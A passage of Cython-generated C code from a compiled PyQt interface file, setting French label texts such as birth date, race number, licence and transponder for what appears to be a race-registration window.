PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1034 * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) * self.label_38.setText(_translate("MainWindow", "Pays")) * self.label_39.setText(_translate("MainWindow", "Date naissance")) # <<<<<<<<<<<<<< * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_45.setText(_translate("MainWindow", "Numro course")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_39); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__633, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1035 * self.label_38.setText(_translate("MainWindow", "Pays")) * self.label_39.setText(_translate("MainWindow", "Date naissance")) * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) # <<<<<<<<<<<<<< * self.label_45.setText(_translate("MainWindow", "Numro course")) * self.label_46.setText(_translate("MainWindow", "Licence(s)")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_date); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setDisplayFormat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__634, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1036 * self.label_39.setText(_translate("MainWindow", "Date naissance")) * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_45.setText(_translate("MainWindow", "Numro course")) # <<<<<<<<<<<<<< * self.label_46.setText(_translate("MainWindow", "Licence(s)")) * self.label_47.setText(_translate("MainWindow", "Transpondeur")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_45); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__635, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1037 * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_45.setText(_translate("MainWindow", "Numro course")) * self.label_46.setText(_translate("MainWindow", "Licence(s)")) # <<<<<<<<<<<<<< * self.label_47.setText(_translate("MainWindow", "Transpondeur")) * self.label_48.setText(_translate("MainWindow", "Catgorie")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_46); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__636, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1038 * self.label_45.setText(_translate("MainWindow", "Numro course")) * self.label_46.setText(_translate("MainWindow", "Licence(s)")) * self.label_47.setText(_translate("MainWindow", "Transpondeur")) # <<<<<<<<<<<<<< * self.label_48.setText(_translate("MainWindow", "Catgorie")) * self.RR_Categorie.setSortingEnabled(True) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_47); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__637, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1039 * self.label_46.setText(_translate("MainWindow", "Licence(s)")) * self.label_47.setText(_translate("MainWindow", "Transpondeur")) * self.label_48.setText(_translate("MainWindow", "Catgorie")) # <<<<<<<<<<<<<< * self.RR_Categorie.setSortingEnabled(True) * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_48); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__638, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1040 * self.label_47.setText(_translate("MainWindow", "Transpondeur")) * self.label_48.setText(_translate("MainWindow", "Catgorie")) * self.RR_Categorie.setSortingEnabled(True) # <<<<<<<<<<<<<< * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) * __sortingEnabled = self.RR_Categorie.isSortingEnabled() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1040, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1040, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__639, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1040, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1041 * self.label_48.setText(_translate("MainWindow", "Catgorie")) * self.RR_Categorie.setSortingEnabled(True) * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) # <<<<<<<<<<<<<< * __sortingEnabled = self.RR_Categorie.isSortingEnabled() * self.RR_Categorie.setSortingEnabled(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_headerItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1041, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__640, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_0, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_0, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1042 * self.RR_Categorie.setSortingEnabled(True) * 